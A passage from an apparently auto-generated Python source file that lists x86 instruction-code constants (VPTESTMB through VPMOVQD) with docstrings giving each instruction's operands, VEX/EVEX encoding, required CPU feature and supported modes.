EVEX_VPTESTMB_KR_K1_XMM_XMMM128: int = 2783
"""
``VPTESTMB k2 {k1}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W0 26 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTMB_KR_K1_YMM_YMMM256: int = 2784
"""
``VPTESTMB k2 {k1}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W0 26 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTMB_KR_K1_ZMM_ZMMM512: int = 2785
"""
``VPTESTMB k2 {k1}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W0 26 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTMW_KR_K1_XMM_XMMM128: int = 2786
"""
``VPTESTMW k2 {k1}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W1 26 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTMW_KR_K1_YMM_YMMM256: int = 2787
"""
``VPTESTMW k2 {k1}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W1 26 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTMW_KR_K1_ZMM_ZMMM512: int = 2788
"""
``VPTESTMW k2 {k1}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W1 26 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTNMB_KR_K1_XMM_XMMM128: int = 2789
"""
``VPTESTNMB k2 {k1}, xmm2, xmm3/m128``
``EVEX.128.F3.0F38.W0 26 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTNMB_KR_K1_YMM_YMMM256: int = 2790
"""
``VPTESTNMB k2 {k1}, ymm2, ymm3/m256``
``EVEX.256.F3.0F38.W0 26 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTNMB_KR_K1_ZMM_ZMMM512: int = 2791
"""
``VPTESTNMB k2 {k1}, zmm2, zmm3/m512``
``EVEX.512.F3.0F38.W0 26 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTNMW_KR_K1_XMM_XMMM128: int = 2792
"""
``VPTESTNMW k2 {k1}, xmm2, xmm3/m128``
``EVEX.128.F3.0F38.W1 26 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTNMW_KR_K1_YMM_YMMM256: int = 2793
"""
``VPTESTNMW k2 {k1}, ymm2, ymm3/m256``
``EVEX.256.F3.0F38.W1 26 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTNMW_KR_K1_ZMM_ZMMM512: int = 2794
"""
``VPTESTNMW k2 {k1}, zmm2, zmm3/m512``
``EVEX.512.F3.0F38.W1 26 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPTESTMD_KR_K1_XMM_XMMM128B32: int = 2795
"""
``VPTESTMD k2 {k1}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 27 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTESTMD_KR_K1_YMM_YMMM256B32: int = 2796
"""
``VPTESTMD k2 {k1}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 27 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTESTMD_KR_K1_ZMM_ZMMM512B32: int = 2797
"""
``VPTESTMD k2 {k1}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 27 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPTESTMQ_KR_K1_XMM_XMMM128B64: int = 2798
"""
``VPTESTMQ k2 {k1}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 27 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTESTMQ_KR_K1_YMM_YMMM256B64: int = 2799
"""
``VPTESTMQ k2 {k1}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 27 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTESTMQ_KR_K1_ZMM_ZMMM512B64: int = 2800
"""
``VPTESTMQ k2 {k1}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 27 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPTESTNMD_KR_K1_XMM_XMMM128B32: int = 2801
"""
``VPTESTNMD k2 {k1}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.F3.0F38.W0 27 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTESTNMD_KR_K1_YMM_YMMM256B32: int = 2802
"""
``VPTESTNMD k2 {k1}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.F3.0F38.W0 27 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTESTNMD_KR_K1_ZMM_ZMMM512B32: int = 2803
"""
``VPTESTNMD k2 {k1}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.F3.0F38.W0 27 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPTESTNMQ_KR_K1_XMM_XMMM128B64: int = 2804
"""
``VPTESTNMQ k2 {k1}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.F3.0F38.W1 27 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTESTNMQ_KR_K1_YMM_YMMM256B64: int = 2805
"""
``VPTESTNMQ k2 {k1}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.F3.0F38.W1 27 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPTESTNMQ_KR_K1_ZMM_ZMMM512B64: int = 2806
"""
``VPTESTNMQ k2 {k1}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.F3.0F38.W1 27 /r``
``AVX512F``
``16/32/64-bit``
"""
PMULDQ_XMM_XMMM128: int = 2807
"""
``PMULDQ xmm1, xmm2/m128``
``66 0F 38 28 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMULDQ_XMM_XMM_XMMM128: int = 2808
"""
``VPMULDQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 28 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMULDQ_YMM_YMM_YMMM256: int = 2809
"""
``VPMULDQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 28 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMULDQ_XMM_K1Z_XMM_XMMM128B64: int = 2810
"""
``VPMULDQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 28 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMULDQ_YMM_K1Z_YMM_YMMM256B64: int = 2811
"""
``VPMULDQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 28 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMULDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2812
"""
``VPMULDQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 28 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVM2B_XMM_KR: int = 2813
"""
``VPMOVM2B xmm1, k1``
``EVEX.128.F3.0F38.W0 28 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVM2B_YMM_KR: int = 2814
"""
``VPMOVM2B ymm1, k1``
``EVEX.256.F3.0F38.W0 28 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVM2B_ZMM_KR: int = 2815
"""
``VPMOVM2B zmm1, k1``
``EVEX.512.F3.0F38.W0 28 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVM2W_XMM_KR: int = 2816
"""
``VPMOVM2W xmm1, k1``
``EVEX.128.F3.0F38.W1 28 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVM2W_YMM_KR: int = 2817
"""
``VPMOVM2W ymm1, k1``
``EVEX.256.F3.0F38.W1 28 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVM2W_ZMM_KR: int = 2818
"""
``VPMOVM2W zmm1, k1``
``EVEX.512.F3.0F38.W1 28 /r``
``AVX512BW``
``16/32/64-bit``
"""
PCMPEQQ_XMM_XMMM128: int = 2819
"""
``PCMPEQQ xmm1, xmm2/m128``
``66 0F 38 29 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPCMPEQQ_XMM_XMM_XMMM128: int = 2820
"""
``VPCMPEQQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 29 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPCMPEQQ_YMM_YMM_YMMM256: int = 2821
"""
``VPCMPEQQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 29 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPCMPEQQ_KR_K1_XMM_XMMM128B64: int = 2822
"""
``VPCMPEQQ k1 {k2}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 29 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPEQQ_KR_K1_YMM_YMMM256B64: int = 2823
"""
``VPCMPEQQ k1 {k2}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 29 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPEQQ_KR_K1_ZMM_ZMMM512B64: int = 2824
"""
``VPCMPEQQ k1 {k2}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 29 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVB2M_KR_XMM: int = 2825
"""
``VPMOVB2M k1, xmm1``
``EVEX.128.F3.0F38.W0 29 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVB2M_KR_YMM: int = 2826
"""
``VPMOVB2M k1, ymm1``
``EVEX.256.F3.0F38.W0 29 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVB2M_KR_ZMM: int = 2827
"""
``VPMOVB2M k1, zmm1``
``EVEX.512.F3.0F38.W0 29 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVW2M_KR_XMM: int = 2828
"""
``VPMOVW2M k1, xmm1``
``EVEX.128.F3.0F38.W1 29 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVW2M_KR_YMM: int = 2829
"""
``VPMOVW2M k1, ymm1``
``EVEX.256.F3.0F38.W1 29 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVW2M_KR_ZMM: int = 2830
"""
``VPMOVW2M k1, zmm1``
``EVEX.512.F3.0F38.W1 29 /r``
``AVX512BW``
``16/32/64-bit``
"""
MOVNTDQA_XMM_M128: int = 2831
"""
``MOVNTDQA xmm1, m128``
``66 0F 38 2A /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VMOVNTDQA_XMM_M128: int = 2832
"""
``VMOVNTDQA xmm1, m128``
``VEX.128.66.0F38.WIG 2A /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVNTDQA_YMM_M256: int = 2833
"""
``VMOVNTDQA ymm1, m256``
``VEX.256.66.0F38.WIG 2A /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VMOVNTDQA_XMM_M128: int = 2834
"""
``VMOVNTDQA xmm1, m128``
``EVEX.128.66.0F38.W0 2A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVNTDQA_YMM_M256: int = 2835
"""
``VMOVNTDQA ymm1, m256``
``EVEX.256.66.0F38.W0 2A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVNTDQA_ZMM_M512: int = 2836
"""
``VMOVNTDQA zmm1, m512``
``EVEX.512.66.0F38.W0 2A /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPBROADCASTMB2Q_XMM_KR: int = 2837
"""
``VPBROADCASTMB2Q xmm1, k1``
``EVEX.128.F3.0F38.W1 2A /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPBROADCASTMB2Q_YMM_KR: int = 2838
"""
``VPBROADCASTMB2Q ymm1, k1``
``EVEX.256.F3.0F38.W1 2A /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPBROADCASTMB2Q_ZMM_KR: int = 2839
"""
``VPBROADCASTMB2Q zmm1, k1``
``EVEX.512.F3.0F38.W1 2A /r``
``AVX512CD``
``16/32/64-bit``
"""
PACKUSDW_XMM_XMMM128: int = 2840
"""
``PACKUSDW xmm1, xmm2/m128``
``66 0F 38 2B /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPACKUSDW_XMM_XMM_XMMM128: int = 2841
"""
``VPACKUSDW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 2B /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPACKUSDW_YMM_YMM_YMMM256: int = 2842
"""
``VPACKUSDW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 2B /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPACKUSDW_XMM_K1Z_XMM_XMMM128B32: int = 2843
"""
``VPACKUSDW xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 2B /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPACKUSDW_YMM_K1Z_YMM_YMMM256B32: int = 2844
"""
``VPACKUSDW ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 2B /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPACKUSDW_ZMM_K1Z_ZMM_ZMMM512B32: int = 2845
"""
``VPACKUSDW zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 2B /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_VMASKMOVPS_XMM_XMM_M128: int = 2846
"""
``VMASKMOVPS xmm1, xmm2, m128``
``VEX.128.66.0F38.W0 2C /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMASKMOVPS_YMM_YMM_M256: int = 2847
"""
``VMASKMOVPS ymm1, ymm2, m256``
``VEX.256.66.0F38.W0 2C /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VSCALEFPS_XMM_K1Z_XMM_XMMM128B32: int = 2848
"""
``VSCALEFPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 2C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCALEFPS_YMM_K1Z_YMM_YMMM256B32: int = 2849
"""
``VSCALEFPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 2C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCALEFPS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 2850
"""
``VSCALEFPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 2C /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VSCALEFPD_XMM_K1Z_XMM_XMMM128B64: int = 2851
"""
``VSCALEFPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 2C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCALEFPD_YMM_K1Z_YMM_YMMM256B64: int = 2852
"""
``VSCALEFPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 2C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCALEFPD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 2853
"""
``VSCALEFPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 2C /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VMASKMOVPD_XMM_XMM_M128: int = 2854
"""
``VMASKMOVPD xmm1, xmm2, m128``
``VEX.128.66.0F38.W0 2D /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMASKMOVPD_YMM_YMM_M256: int = 2855
"""
``VMASKMOVPD ymm1, ymm2, m256``
``VEX.256.66.0F38.W0 2D /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VSCALEFSS_XMM_K1Z_XMM_XMMM32_ER: int = 2856
"""
``VSCALEFSS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 2D /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VSCALEFSD_XMM_K1Z_XMM_XMMM64_ER: int = 2857
"""
``VSCALEFSD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 2D /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VMASKMOVPS_M128_XMM_XMM: int = 2858
"""
``VMASKMOVPS m128, xmm1, xmm2``
``VEX.128.66.0F38.W0 2E /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMASKMOVPS_M256_YMM_YMM: int = 2859
"""
``VMASKMOVPS m256, ymm1, ymm2``
``VEX.256.66.0F38.W0 2E /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMASKMOVPD_M128_XMM_XMM: int = 2860
"""
``VMASKMOVPD m128, xmm1, xmm2``
``VEX.128.66.0F38.W0 2F /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMASKMOVPD_M256_YMM_YMM: int = 2861
"""
``VMASKMOVPD m256, ymm1, ymm2``
``VEX.256.66.0F38.W0 2F /r``
``AVX``
``16/32/64-bit``
"""
PMOVZXBW_XMM_XMMM64: int = 2862
"""
``PMOVZXBW xmm1, xmm2/m64``
``66 0F 38 30 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVZXBW_XMM_XMMM64: int = 2863
"""
``VPMOVZXBW xmm1, xmm2/m64``
``VEX.128.66.0F38.WIG 30 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVZXBW_YMM_XMMM128: int = 2864
"""
``VPMOVZXBW ymm1, xmm2/m128``
``VEX.256.66.0F38.WIG 30 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVZXBW_XMM_K1Z_XMMM64: int = 2865
"""
``VPMOVZXBW xmm1 {k1}{z}, xmm2/m64``
``EVEX.128.66.0F38.WIG 30 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVZXBW_YMM_K1Z_XMMM128: int = 2866
"""
``VPMOVZXBW ymm1 {k1}{z}, xmm2/m128``
``EVEX.256.66.0F38.WIG 30 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVZXBW_ZMM_K1Z_YMMM256: int = 2867
"""
``VPMOVZXBW zmm1 {k1}{z}, ymm2/m256``
``EVEX.512.66.0F38.WIG 30 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVWB_XMMM64_K1Z_XMM: int = 2868
"""
``VPMOVWB xmm1/m64 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 30 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVWB_XMMM128_K1Z_YMM: int = 2869
"""
``VPMOVWB xmm1/m128 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 30 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVWB_YMMM256_K1Z_ZMM: int = 2870
"""
``VPMOVWB ymm1/m256 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 30 /r``
``AVX512BW``
``16/32/64-bit``
"""
PMOVZXBD_XMM_XMMM32: int = 2871
"""
``PMOVZXBD xmm1, xmm2/m32``
``66 0F 38 31 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVZXBD_XMM_XMMM32: int = 2872
"""
``VPMOVZXBD xmm1, xmm2/m32``
``VEX.128.66.0F38.WIG 31 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVZXBD_YMM_XMMM64: int = 2873
"""
``VPMOVZXBD ymm1, xmm2/m64``
``VEX.256.66.0F38.WIG 31 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVZXBD_XMM_K1Z_XMMM32: int = 2874
"""
``VPMOVZXBD xmm1 {k1}{z}, xmm2/m32``
``EVEX.128.66.0F38.WIG 31 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVZXBD_YMM_K1Z_XMMM64: int = 2875
"""
``VPMOVZXBD ymm1 {k1}{z}, xmm2/m64``
``EVEX.256.66.0F38.WIG 31 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVZXBD_ZMM_K1Z_XMMM128: int = 2876
"""
``VPMOVZXBD zmm1 {k1}{z}, xmm2/m128``
``EVEX.512.66.0F38.WIG 31 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVDB_XMMM32_K1Z_XMM: int = 2877
"""
``VPMOVDB xmm1/m32 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 31 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVDB_XMMM64_K1Z_YMM: int = 2878
"""
``VPMOVDB xmm1/m64 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 31 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVDB_XMMM128_K1Z_ZMM: int = 2879
"""
``VPMOVDB xmm1/m128 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 31 /r``
``AVX512F``
``16/32/64-bit``
"""
PMOVZXBQ_XMM_XMMM16: int = 2880
"""
``PMOVZXBQ xmm1, xmm2/m16``
``66 0F 38 32 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVZXBQ_XMM_XMMM16: int = 2881
"""
``VPMOVZXBQ xmm1, xmm2/m16``
``VEX.128.66.0F38.WIG 32 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVZXBQ_YMM_XMMM32: int = 2882
"""
``VPMOVZXBQ ymm1, xmm2/m32``
``VEX.256.66.0F38.WIG 32 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVZXBQ_XMM_K1Z_XMMM16: int = 2883
"""
``VPMOVZXBQ xmm1 {k1}{z}, xmm2/m16``
``EVEX.128.66.0F38.WIG 32 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVZXBQ_YMM_K1Z_XMMM32: int = 2884
"""
``VPMOVZXBQ ymm1 {k1}{z}, xmm2/m32``
``EVEX.256.66.0F38.WIG 32 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVZXBQ_ZMM_K1Z_XMMM64: int = 2885
"""
``VPMOVZXBQ zmm1 {k1}{z}, xmm2/m64``
``EVEX.512.66.0F38.WIG 32 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVQB_XMMM16_K1Z_XMM: int = 2886
"""
``VPMOVQB xmm1/m16 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 32 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVQB_XMMM32_K1Z_YMM: int = 2887
"""
``VPMOVQB xmm1/m32 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 32 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVQB_XMMM64_K1Z_ZMM: int = 2888
"""
``VPMOVQB xmm1/m64 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 32 /r``
``AVX512F``
``16/32/64-bit``
"""
PMOVZXWD_XMM_XMMM64: int = 2889
"""
``PMOVZXWD xmm1, xmm2/m64``
``66 0F 38 33 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVZXWD_XMM_XMMM64: int = 2890
"""
``VPMOVZXWD xmm1, xmm2/m64``
``VEX.128.66.0F38.WIG 33 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVZXWD_YMM_XMMM128: int = 2891
"""
``VPMOVZXWD ymm1, xmm2/m128``
``VEX.256.66.0F38.WIG 33 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVZXWD_XMM_K1Z_XMMM64: int = 2892
"""
``VPMOVZXWD xmm1 {k1}{z}, xmm2/m64``
``EVEX.128.66.0F38.WIG 33 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVZXWD_YMM_K1Z_XMMM128: int = 2893
"""
``VPMOVZXWD ymm1 {k1}{z}, xmm2/m128``
``EVEX.256.66.0F38.WIG 33 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVZXWD_ZMM_K1Z_YMMM256: int = 2894
"""
``VPMOVZXWD zmm1 {k1}{z}, ymm2/m256``
``EVEX.512.66.0F38.WIG 33 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVDW_XMMM64_K1Z_XMM: int = 2895
"""
``VPMOVDW xmm1/m64 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 33 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVDW_XMMM128_K1Z_YMM: int = 2896
"""
``VPMOVDW xmm1/m128 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 33 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVDW_YMMM256_K1Z_ZMM: int = 2897
"""
``VPMOVDW ymm1/m256 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 33 /r``
``AVX512F``
``16/32/64-bit``
"""
PMOVZXWQ_XMM_XMMM32: int = 2898
"""
``PMOVZXWQ xmm1, xmm2/m32``
``66 0F 38 34 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVZXWQ_XMM_XMMM32: int = 2899
"""
``VPMOVZXWQ xmm1, xmm2/m32``
``VEX.128.66.0F38.WIG 34 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVZXWQ_YMM_XMMM64: int = 2900
"""
``VPMOVZXWQ ymm1, xmm2/m64``
``VEX.256.66.0F38.WIG 34 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVZXWQ_XMM_K1Z_XMMM32: int = 2901
"""
``VPMOVZXWQ xmm1 {k1}{z}, xmm2/m32``
``EVEX.128.66.0F38.WIG 34 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVZXWQ_YMM_K1Z_XMMM64: int = 2902
"""
``VPMOVZXWQ ymm1 {k1}{z}, xmm2/m64``
``EVEX.256.66.0F38.WIG 34 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVZXWQ_ZMM_K1Z_XMMM128: int = 2903
"""
``VPMOVZXWQ zmm1 {k1}{z}, xmm2/m128``
``EVEX.512.66.0F38.WIG 34 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVQW_XMMM32_K1Z_XMM: int = 2904
"""
``VPMOVQW xmm1/m32 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 34 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVQW_XMMM64_K1Z_YMM: int = 2905
"""
``VPMOVQW xmm1/m64 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 34 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVQW_XMMM128_K1Z_ZMM: int = 2906
"""
``VPMOVQW xmm1/m128 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 34 /r``
``AVX512F``
``16/32/64-bit``
"""
PMOVZXDQ_XMM_XMMM64: int = 2907
"""
``PMOVZXDQ xmm1, xmm2/m64``
``66 0F 38 35 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVZXDQ_XMM_XMMM64: int = 2908
"""
``VPMOVZXDQ xmm1, xmm2/m64``
``VEX.128.66.0F38.WIG 35 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVZXDQ_YMM_XMMM128: int = 2909
"""
``VPMOVZXDQ ymm1, xmm2/m128``
``VEX.256.66.0F38.WIG 35 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVZXDQ_XMM_K1Z_XMMM64: int = 2910
"""
``VPMOVZXDQ xmm1 {k1}{z}, xmm2/m64``
``EVEX.128.66.0F38.W0 35 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVZXDQ_YMM_K1Z_XMMM128: int = 2911
"""
``VPMOVZXDQ ymm1 {k1}{z}, xmm2/m128``
``EVEX.256.66.0F38.W0 35 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVZXDQ_ZMM_K1Z_YMMM256: int = 2912
"""
``VPMOVZXDQ zmm1 {k1}{z}, ymm2/m256``
``EVEX.512.66.0F38.W0 35 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVQD_XMMM64_K1Z_XMM: int = 2913
"""
``VPMOVQD xmm1/m64 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 35 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVQD_XMMM128_K1Z_YMM: int = 2914
"""
